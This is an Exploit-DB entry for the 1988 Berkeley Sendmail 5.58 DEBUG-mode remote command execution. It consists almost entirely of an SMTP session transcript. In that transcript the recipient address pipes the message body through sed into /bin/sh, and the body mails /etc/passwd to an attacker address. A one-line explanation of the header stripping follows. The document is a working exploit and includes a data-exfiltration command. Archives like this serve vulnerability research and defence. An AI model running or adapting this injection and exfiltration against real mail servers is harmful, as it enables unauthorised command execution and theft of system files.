Berkeley Sendmail 5.58 - Debug

EDB-ID:

19028


Author:

anonymous

Type:

remote


Platform:

Linux

Date:

1988-08-01


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GET CERTIFIED

220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from: </dev/null>
250 OK
rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0">
250 OK
data
354 Start mail input; end with <CRLF>.<CRLF>
mail evil@attacker.com </etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating

The sed in the receipient strips all mail headers from the
message before passing it on to the shell.